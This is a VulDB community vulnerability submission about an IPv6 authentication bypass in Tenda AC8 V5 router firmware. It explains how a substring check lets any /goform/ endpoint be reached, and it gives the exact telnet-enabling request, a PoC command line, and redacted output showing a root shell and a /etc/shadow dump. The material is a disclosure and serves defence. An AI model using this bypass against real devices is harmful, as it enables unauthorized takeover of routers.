COMMUNITY CONTENT

Home › Submit › 771759

Submit #771759: Tenda AC8 V5 V16.03.50.11 Authentication Bypass Issues

Title Tenda AC8 V5 V16.03.50.11 Authentication Bypass Issues

Description The embedded web server (httpd) in Tenda AC8 V5.0 firmware contains an authentication bypass vulnerability in the R7WebsSecurityHandler function. When a client connects via IPv6, the entire authentication mechanism including cookie validation, password verification, and session management is completely skipped.

The function check_is_ipv6() determines whether a request originates from an IPv6 client by counting colon characters (:) in the client IP string. If two or more colons are found, the request is classified as IPv6 and routed to a code path that performs no authentication checks.

Within this unauthenticated IPv6 code path, the only access control is two strstr() substring checks on the full request URL (including the query string):

The URL must contain the substring "goform/"
The URL must contain the substring "fast_setting_wifi_set"

Because strstr() performs a substring match against the entire URL including query parameters, an attacker can access any /goform/ endpoint by simply appending ?fast_setting_wifi_set=1 to the URL. This renders every administrative handler accessible without authentication.

The IPv6 listener is started unconditionally in websOpenListen() alongside the IPv4 listener on every boot. No user configuration of IPv6 is required. Since IPv6 link-local addresses (fe80::) are automatically assigned to all network interfaces, the attack surface is always present on every device connected to the same LAN segment.

Due to the fact that Telnet can be opened via the goform handler (/goform/telnet?fast_setting_wifi_set=1 HTTP/1.0) this auth bypass can be easily chained to provide remote access via Telnet. It can also be chained with other discovered vulnerabilities such as command injection and BOF that require authentication but lead to RCE.

Proof of Concept
A complete POC script (poc_ipv6_auth_bypass_password_change.py) is provided at the below github link. It automates the full exploitation chain:

```
# Full automated exploit: auth bypass -> telnet -> root shell -> shadow dump
python3 poc_ipv6_auth_bypass.py \
    --target fe80::ba3a:8ff:fe1b:5750 \
    --iface eth0 \
    --enable-telnet
```

Output (redacted):

Community Content

Submissions are made by VulDB community users. VulDB is *not responsible* for their content nor the links to external sources.

Please use the raw information shown and the links listed *with caution*. They might contain malicious and harmful actions, code or data.

The corresponding VulDB entries contain the moderated, verified, and normalized information provided within the raw submission.

Documentation

- Submission Policy
- Data Processing
- CVE Handling

```
==========================================================
 Tenda Router — IPv6 Authentication Bypass
 Unauthenticated /goform/ access via strstr match
==========================================================

 Target: [fe80::ba3a:8ff:fe1b:5750%eth0]:80

[*] Verifying IPv6 authentication bypass...
[+] Auth bypass confirmed — got 200 OK without credentials
[*] Enabling telnet via IPv6 auth bypass...
[+] Telnet enable request sent — 200 OK
[+] Telnet port 23 is OPEN!
[+] MAC from EUI-64 address: b8:3a:08:1b:57:50
[+] Derived root password: <redacted>
[+] ROOT SHELL OBTAINED!

==========================================================
 Proof of access — /etc/shadow:
==========================================================

 root:$1$<redacted>:0:0:99999:7:::

==========================================================
 RESULT: FULL DEVICE COMPROMISE
==========================================================
```

Source	https://github.com/digitalandrew/tenda_ac8_v5/blob/main/poc_ipv6_auth_bypass.py
User	DigitalAndrew (UID 96122)
Submission	03/04/2026 09:45 PM (1 month ago)
Moderation	03/16/2026 07:16 AM (11 days later)
Status	Published
VulDB entry	VDB-[redacted] [Tenda AC8 16.03.50.11 IPv6 check_is_ipv6 ip address for authentication]
Points	20

© 1997-2026 vuldb.com · cc by-nc-sa